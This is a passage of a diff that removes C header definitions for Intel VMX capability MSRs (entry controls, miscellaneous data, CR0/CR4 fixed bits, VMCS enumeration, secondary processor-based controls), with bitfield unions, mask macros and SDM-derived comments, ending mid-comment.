IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER_BIT 15 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER_FLAG 0x8000 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER(_) (((_) >> 15) & 0x01) - - /** - * [Bit 16] This control determines whether the IA32_BNDCFGS MSR is loaded on VM entry. - */ - uint64_t load_ia32_bndcfgs : 1; -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS_BIT 16 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS_FLAG 0x10000 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS(_) (((_) >> 16) & 0x01) - - /** - * [Bit 17] If this control is 1, Intel Processor Trace does not produce a paging information packet (PIP) on a VM entry or - * a VMCS packet on a VM entry that returns from SMM. - * - * @see Vol3C[35(INTEL(R) PROCESSOR TRACE)] - */ - uint64_t conceal_vmx_from_pt : 1; -#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT_BIT 17 -#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT_FLAG 0x20000 -#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT(_) (((_) >> 17) & 0x01) - - /** - * [Bit 18] This control determines whether the IA32_RTIT_CTL MSR is loaded on VM entry. - */ - uint64_t load_ia32_rtit_ctl : 1; -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL_BIT 18 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL_FLAG 0x40000 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL(_) (((_) >> 18) & 0x01) - uint64_t reserved4 : 1; - - /** - * [Bit 20] This control determines whether CET-related MSRs and SPP are loaded on VM entry. - */ - uint64_t load_cet_state : 1; -#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE_BIT 20 -#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE_FLAG 0x100000 -#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE(_) (((_) >> 20) & 0x01) - uint64_t reserved5 : 43; - }; - - uint64_t flags; -} ia32_vmx_entry_ctls_register; - - -/** - * Reporting Register of Miscellaneous VMX Capabilities. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.6(MISCELLANEOUS DATA)] - * @see Vol3D[A.6(Miscellaneous Data)] (reference) - */ -#define IA32_VMX_MISC 0x00000485 -typedef union -{ - struct - { - /** - * @brief Relationship between the preemption timer and tsc; count down every time bit x of the tsc changes - * - * [Bits 4:0] Report a value X that specifies the relationship between the rate of the VMX-preemption timer and that of the - * timestamp counter (TSC). Specifically, the VMX-preemption timer (if it is active) counts down by 1 every time bit X in - * the TSC changes due to a TSC increment. - */ - uint64_t preemption_timer_tsc_relationship : 5; -#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP_BIT 0 -#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP_FLAG 0x1F -#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP_MASK 0x1F -#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP(_) (((_) >> 0) & 0x1F) - - /** - * @brief Whether VM-exit stores EFER.LMA into the "IA32e mode guest" field - * - * [Bit 5] When set to 1, VM exits store the value of IA32_EFER.LMA into the "IA-32e mode guest" VM-entry control. This bit - * is read as 1 on any logical processor that supports the 1-setting of the "unrestricted guest" VM-execution control. - * - * @see Vol3C[27.2(RECORDING VM-EXIT INFORMATION AND UPDATING VM-ENTRY CONTROL FIELDS)] - */ - uint64_t store_efer_lma_on_vmexit : 1; -#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT_BIT 5 -#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT_FLAG 0x20 -#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT_MASK 0x01 -#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT(_) (((_) >> 5) & 0x01) - - /** - * @brief Activity states supported by the implementation - * - * [Bits 8:6] Report, as a bitmap, the activity states supported by the implementation: - * - Bit 6 reports (if set) the support for activity state 1 (HLT). - * - Bit 7 reports (if set) the support for activity state 2 (shutdown). - * - Bit 8 reports (if set) the support for activity state 3 (wait-for-SIPI). - * If an activity state is not supported, the implementation causes a VM entry to fail if it attempts to establish that - * activity state. All implementations support VM entry to activity state 0 (active). - */ - uint64_t activity_states : 3; -#define IA32_VMX_MISC_ACTIVITY_STATES_BIT 6 -#define IA32_VMX_MISC_ACTIVITY_STATES_FLAG 0x1C0 -#define IA32_VMX_MISC_ACTIVITY_STATES_MASK 0x07 -#define IA32_VMX_MISC_ACTIVITY_STATES(_) (((_) >> 6) & 0x07) - uint64_t reserved1 : 5; - - /** - * @brief Intel Processor Trace (Intel PT) can be used in VMX operation - * - * [Bit 14] When set to 1, Intel(R) Processor Trace (Intel PT) can be used in VMX operation. If the processor supports Intel - * PT but does not allow it to be used in VMX operation, execution of VMXON clears IA32_RTIT_CTL.TraceEn; any attempt to - * write IA32_RTIT_CTL while in VMX operation (including VMX root operation) causes a general-protection exception. - * - * @see Vol3C[30.3(VMX INSTRUCTIONS | VMXON-Enter VMX Operation)] - */ - uint64_t intel_pt_available_in_vmx : 1; -#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX_BIT 14 -#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX_FLAG 0x4000 -#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX_MASK 0x01 -#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX(_) (((_) >> 14) & 0x01) - - /** - * @brief Whether RDMSR can be used to read IA32_SMBASE_MSR in SMM - * - * [Bit 15] When set to 1, the RDMSR instruction can be used in system-management mode (SMM) to read the IA32_SMBASE MSR - * (MSR address 9EH). - * - * @see Vol3C[34.15.6.3(Saving Guest State)] - */ - uint64_t rdmsr_can_read_ia32_smbase_msr_in_smm : 1; -#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM_BIT 15 -#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM_FLAG 0x8000 -#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM_MASK 0x01 -#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM(_) (((_) >> 15) & 0x01) - - /** - * @brief Number of CR3 target values supported by the processor (0-256) - * - * [Bits 24:16] Indicate the number of CR3-target values supported by the processor. This number is a value between 0 and - * 256, inclusive (bit 24 is set if and only if bits 23:16 are clear). - */ - uint64_t cr3_target_count : 9; -#define IA32_VMX_MISC_CR3_TARGET_COUNT_BIT 16 -#define IA32_VMX_MISC_CR3_TARGET_COUNT_FLAG 0x1FF0000 -#define IA32_VMX_MISC_CR3_TARGET_COUNT_MASK 0x1FF -#define IA32_VMX_MISC_CR3_TARGET_COUNT(_) (((_) >> 16) & 0x1FF) - - /** - * @brief Maximum number of MSRs in the VMCS. (N+1)*512 - * - * [Bits 27:25] Used to compute the recommended maximum number of MSRs that should appear in the VM-exit MSR-store list, - * the VM-exit MSR-load list, or the VM-entry MSR-load list. Specifically, if the value bits 27:25 of IA32_VMX_MISC is N, - * then 512 * (N + 1) is the recommended maximum number of MSRs to be included in each list. If the limit is exceeded, - * undefined processor behavior may result (including a machine check during the VMX transition). - */ - uint64_t max_number_of_msr : 3; -#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR_BIT 25 -#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR_FLAG 0xE000000 -#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR_MASK 0x07 -#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR(_) (((_) >> 25) & 0x07) - - /** - * @brief Whether bit 2 of IA32_SMM_MONITOR_CTL can be set to 1 - * - * [Bit 28] When set to 1, bit 2 of the IA32_SMM_MONITOR_CTL can be set to 1. VMXOFF unblocks SMIs unless - * IA32_SMM_MONITOR_CTL[bit 2] is 1. - * - * @see Vol3C[34.14.4(VMXOFF and SMI Unblocking)] - */ - uint64_t smm_monitor_ctl_b2 : 1; -#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2_BIT 28 -#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2_FLAG 0x10000000 -#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2_MASK 0x01 -#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2(_) (((_) >> 28) & 0x01) - - /** - * @brief Whether VMWRITE can be used to write VM-exit information fields - * - * [Bit 29] When set to 1, software can use VMWRITE to write to any supported field in the VMCS; otherwise, VMWRITE cannot - * be used to modify VM-exit information fields. - */ - uint64_t vmwrite_vmexit_info : 1; -#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO_BIT 29 -#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO_FLAG 0x20000000 -#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO_MASK 0x01 -#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO(_) (((_) >> 29) & 0x01) - - /** - * [Bit 30] When set to 1, VM entry allows injection of a software interrupt, software exception, or privileged software - * exception with an instruction length of 0. - */ - uint64_t zero_length_instruction_vmentry_injection : 1; -#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION_BIT 30 -#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION_FLAG 0x40000000 -#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION_MASK 0x01 -#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION(_) (((_) >> 30) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief MSEG revision identifier used by the processor - * - * [Bits 63:32] Report the 32-bit MSEG revision identifier used by the processor. - */ - uint64_t mseg_id : 32; -#define IA32_VMX_MISC_MSEG_ID_BIT 32 -#define IA32_VMX_MISC_MSEG_ID_FLAG 0xFFFFFFFF00000000 -#define IA32_VMX_MISC_MSEG_ID_MASK 0xFFFFFFFF -#define IA32_VMX_MISC_MSEG_ID(_) (((_) >> 32) & 0xFFFFFFFF) - }; - - uint64_t flags; -} ia32_vmx_misc_register; - - -/** - * Capability Reporting Register of CR0 Bits Fixed to 0. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.7(VMX-FIXED BITS IN CR0)] - * @see Vol3D[A.7(VMX-Fixed Bits in CR0)] (reference) - */ -#define IA32_VMX_CR0_FIXED0 0x00000486 - - /** - * Capability Reporting Register of CR0 Bits Fixed to 1. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.7(VMX-FIXED BITS IN CR0)] - * @see Vol3D[A.7(VMX-Fixed Bits in CR0)] (reference) - */ -#define IA32_VMX_CR0_FIXED1 0x00000487 - - /** - * Capability Reporting Register of CR4 Bits Fixed to 0. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.8(VMX-FIXED BITS IN CR4)] - * @see Vol3D[A.8(VMX-Fixed Bits in CR4)] (reference) - */ -#define IA32_VMX_CR4_FIXED0 0x00000488 - - /** - * Capability Reporting Register of CR4 Bits Fixed to 1. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.8(VMX-FIXED BITS IN CR4)] - * @see Vol3D[A.8(VMX-Fixed Bits in CR4)] (reference) - */ -#define IA32_VMX_CR4_FIXED1 0x00000489 - - /** - * Capability Reporting Register of VMCS Field Enumeration. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.9(VMCS ENUMERATION)] - * @see Vol3D[A.9(VMCS Enumeration)] (reference) - */ -#define IA32_VMX_VMCS_ENUM 0x0000048A -typedef union -{ - struct - { - /** - * [Bit 0] Indicates access type. - */ - uint64_t access_type : 1; -#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE_BIT 0 -#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE_FLAG 0x01 -#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE_MASK 0x01 -#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE(_) (((_) >> 0) & 0x01) - - /** - * [Bits 9:1] Highest index value used for any VMCS encoding. - */ - uint64_t highest_index_value : 9; -#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE_BIT 1 -#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE_FLAG 0x3FE -#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE_MASK 0x1FF -#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE(_) (((_) >> 1) & 0x1FF) - - /** - * [Bits 11:10] Indicate the field's type. - */ - uint64_t field_type : 2; -#define IA32_VMX_VMCS_ENUM_FIELD_TYPE_BIT 10 -#define IA32_VMX_VMCS_ENUM_FIELD_TYPE_FLAG 0xC00 -#define IA32_VMX_VMCS_ENUM_FIELD_TYPE_MASK 0x03 -#define IA32_VMX_VMCS_ENUM_FIELD_TYPE(_) (((_) >> 10) & 0x03) - uint64_t reserved1 : 1; - - /** - * [Bits 14:13] Indicate the field's width. - */ - uint64_t field_width : 2; -#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH_BIT 13 -#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH_FLAG 0x6000 -#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH_MASK 0x03 -#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH(_) (((_) >> 13) & 0x03) - uint64_t reserved2 : 49; - }; - - uint64_t flags; -} ia32_vmx_vmcs_enum_register; - - -/** - * Capability Reporting Register of Secondary Processor-Based VM-Execution Controls. - * - * @remarks If ( CPUID.01H:ECX.[5] && IA32_VMX_PROCBASED_CTLS[63] ) - * @see Vol3D[A.3.3(Secondary Processor-Based VM-Execution Controls)] - * @see Vol3D[24.6.2(Processor-Based VM-Execution Controls)] (reference) - */ -#define IA32_VMX_PROCBASED_CTLS2 0x0000048B -typedef union -{ - struct - { - /** - * @brief Virtualize APIC access - * - * [Bit 0] If this control is 1, the logical processor treats specially accesses to the page with the APICaccess address. - * - * @see Vol3C[29.4(VIRTUALIZING MEMORY-MAPPED APIC ACCESSES)] - */ - uint64_t virtualize_apic_accesses : 1; -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES_BIT 0 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES_FLAG 0x01 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES(_) (((_) >> 0) & 0x01) - - /** - * @brief EPT supported/enabled - * - * [Bit 1] If this control is 1, extended page tables (EPT) are enabled. - * - * @see Vol3C[28.2(THE EXTENDED PAGE TABLE MECHANISM (EPT))] - */ - uint64_t enable_ept : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT_BIT 1 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT_FLAG 0x02 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT(_) (((_) >> 1) & 0x01) - - /** - * @brief Descriptor table instructions cause VM-exits - * - * [Bit 2] This control determines whether executions of LGDT, LIDT, LLDT, LTR, SGDT, SIDT, SLDT, and STR cause VM exits. - */ - uint64_t descriptor_table_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING_BIT 2 -#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING_FLAG 0x04 -#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING(_) (((_) >> 2) & 0x01) - - /** - * @brief RDTSCP supported/enabled - * - * [Bit 3] If this control is 0, any execution of RDTSCP causes an invalid-opcode exception (\#UD). - */ - uint64_t enable_rdtscp : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP_BIT 3 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP_FLAG 0x08 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP(_) (((_) >> 3) & 0x01) - - /** - * @brief Virtualize x2APIC mode - * - * [Bit 4] If this control is 1, the logical processor treats specially RDMSR and WRMSR to APIC MSRs (in the range - * 800H-8FFH). - * - * @see Vol3C[29.5(VIRTUALIZING MSR-BASED APIC ACCESSES)] - */ - uint64_t virtualize_x2apic_mode : 1; -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE_BIT 4 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE_FLAG 0x10 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE(_) (((_) >> 4) & 0x01) - - /** - * @brief VPID supported/enabled - * - * [Bit 5] If this control is 1, cached translations of linear addresses are associated with a virtualprocessor identifier - * (VPID). - * - * @see Vol3C[28.1(VIRTUAL PROCESSOR IDENTIFIERS (VPIDS))] - */ - uint64_t enable_vpid : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID_BIT 5 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID_FLAG 0x20 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID(_) (((_) >> 5) & 0x01) - - /** - * @brief VM-exit when executing the WBINVD instruction - * - * [Bit 6] This control determines whether executions of WBINVD cause VM exits. - */ - uint64_t wbinvd_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING_BIT 6 -#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING_FLAG 0x40 -#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING(_) (((_) >> 6) & 0x01) - - /** - * @brief Unrestricted guest execution - * - * [Bit 7] This control determines whether guest software may run in unpaged protected mode or in realaddress mode. - */ - uint64_t unrestricted_guest : 1; -#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST_BIT 7 -#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST_FLAG 0x80 -#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST(_) (((_) >> 7) & 0x01) - - /** - * @brief APIC register virtualization - * - * [Bit 8] If this control is 1, the logical processor virtualizes certain APIC accesses. - * - * @see Vol3C[29.4(VIRTUALIZING MEMORY-MAPPED APIC ACCESSES)] - * @see Vol3C[29.5(VIRTUALIZING MSR-BASED APIC ACCESSES)] - */ - uint64_t apic_register_virtualization : 1; -#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION_BIT 8 -#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION_FLAG 0x100 -#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION(_) (((_) >> 8) & 0x01) - - /** - * @brief Virtual-interrupt delivery - * - * [Bit 9] This controls enables the evaluation and delivery of pending virtual interrupts as well as the emulation of - * writes to the APIC registers that control interrupt prioritization. - */ - uint64_t virtual_interrupt_delivery : 1; -#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY_BIT 9 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY_FLAG 0x200 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY(_) (((_) >> 9) & 0x01) - - /** - * @brief A specified number of pause loops cause a VM-exit - * - * [Bit 10] This control determines whether a series of executions of PAUSE can cause a VM exit. - * - * @see Vol3C[24.6.13(Controls for PAUSE-Loop Exiting)] - * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] - */ - uint64_t pause_loop_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING_BIT 10 -#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING_FLAG 0x400 -#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING(_) (((_) >> 10) & 0x01) - - /** - * @brief VM-exit when executing RDRAND instructions - * - * [Bit 11] This control determines whether executions of RDRAND cause VM exits. - */ - uint64_t rdrand_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING_BIT 11 -#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING_FLAG 0x800 -#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING(_) (((_) >> 11) & 0x01) - - /** - * @brief Enables INVPCID instructions - * - * [Bit 12] If this control is 0, any execution of INVPCID causes a \#UD. - */ - uint64_t enable_invpcid : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID_BIT 12 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID_FLAG 0x1000 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID(_) (((_) >> 12) & 0x01) - - /** - * @brief Enables VMFUNC instructions - * - * [Bit 13] Setting this control to 1 enables use of the VMFUNC instruction in VMX non-root operation. - * - * @see Vol3C[25.5.5(VM Functions)] - */ - uint64_t enable_vm_functions : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS_BIT 13 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS_FLAG 0x2000 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS(_) (((_) >> 13) & 0x01) - - /** - * @brief Enables VMCS shadowing - * - * [Bit 14] If this control is 1, executions of VMREAD and VMWRITE in VMX non-root operation may access a shadow VMCS - * (instead of causing VM exits). - * - * @see {'Vol3C[24.10(VMCS TYPES': 'ORDINARY AND SHADOW)]'} - * @see Vol3C[30.3(VMX INSTRUCTIONS)] - */ - uint64_t vmcs_shadowing : 1; -#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING_BIT 14 -#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING_FLAG 0x4000 -#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING(_) (((_) >> 14) & 0x01) - - /** - * @brief Enables ENCLS VM-exits - * - * [Bit 15] If this control is 1, executions of ENCLS consult the ENCLS-exiting bitmap to determine whether the instruction - * causes a VM exit. - * - * @see Vol3C[24.6.16(ENCLS-Exiting Bitmap)] - * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] - */ - uint64_t enable_encls_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING_BIT 15 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING_FLAG 0x8000 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING(_) (((_) >> 15) & 0x01) - - /** - * @brief VM-exit when executing RDSEED - * - * [Bit 16] This control determines whether executions of RDSEED cause VM exits. - */ - uint64_t rdseed_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING_BIT 16 -#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING_FLAG 0x10000 -#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING(_) (((_) >> 16) & 0x01) - - /** - * @brief Enables page-modification logging - * - * [Bit 17] If this control is 1, an access to a guest-physical address that sets an EPT dirty bit first adds an entry to - * the page-modification log. - * - * @see Vol3C[28.2.5(Page-Modification Logging)] - */ - uint64_t enable_pml : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML_BIT 17 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML_FLAG 0x20000 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML(_) (((_) >> 17) & 0x01) - - /** - * @brief Controls whether EPT-violations may cause - * - * [Bit 18] If this control is 1, EPT violations may cause virtualization exceptions (\#VE) instead of VM exits. - * - * @see Vol3C[25.5.6(Virtualization Exceptions)] - */ - uint64_t ept_violation : 1; -#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION_BIT 18 -#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION_FLAG 0x40000 -#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION(_) (((_) >> 18) & 0x01) - - /** - * @brief Conceal VMX non-root operation from Intel processor trace (PT) - * - * [Bit 19] If this control is 1, Intel Processor Trace suppresses from PIPs an indication that the processor was in VMX - * non-root operation and omits a VMCS packet from any PSB+ produced in VMX nonroot operation. - * - * @see Vol3C[35(INTEL(R) PROCESSOR TRACE)] - */ - uint64_t conceal_vmx_from_pt : 1; -#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT_BIT 19 -#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT_FLAG 0x80000 -#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT(_) (((_) >> 19) & 0x01) - - /** - * @brief Enables XSAVES/XRSTORS instructions - * - * [Bit 20] If this control is 0, any execution of XSAVES or XRSTORS causes a \#UD. - */ - uint64_t enable_xsaves : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES_BIT 20 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES_FLAG 0x100000 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES(_) (((_) >> 20) & 0x01) - uint64_t reserved1 : 1; - - /** - * [Bit 22] If this control is 1, EPT execute permissions are based on whether the linear address being accessed is - * supervisor mode or user mode. - * - * @see Vol3C[28(VMX SUPPORT FOR ADDRESS TRANSLATION)] - */ - uint64_t mode_based_execute_control_for_ept : 1; -#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT_BIT 22 -#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT_FLAG 0x400000 -#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT(_) (((_) >> 22) & 0x01) - uint64_t reserved2 : 2; - - /** - * @brief Use TSC scaling - * - * [Bit 25] This control determines whether executions of RDTSC, executions of RDTSCP, and executions of RDMSR that read - * from the IA32_TIME_STAMP_COUNTER MSR return a value modified by the TSC multiplier field. - * - * @see Vol3C[24.6.5(Time-Stamp Counter Offset and Multiplier)] - * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] - */ - uint64_t use_tsc_scaling : 1; -#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING_BIT 25 -#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING_FLAG 0x2000000 -#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING(_) (((_) >> 25) & 0x01) - uint64_t reserved3 : 38; - }; - - uint64_t flags; -} ia32_vmx_procbased_ctls2_register; - - -/** - * Capability Reporting Register of EPT and VPID. - * - * @remarks If ( CPUID.01H:ECX.[5] && IA32_VMX_PROCBASED_CTLS[63] && 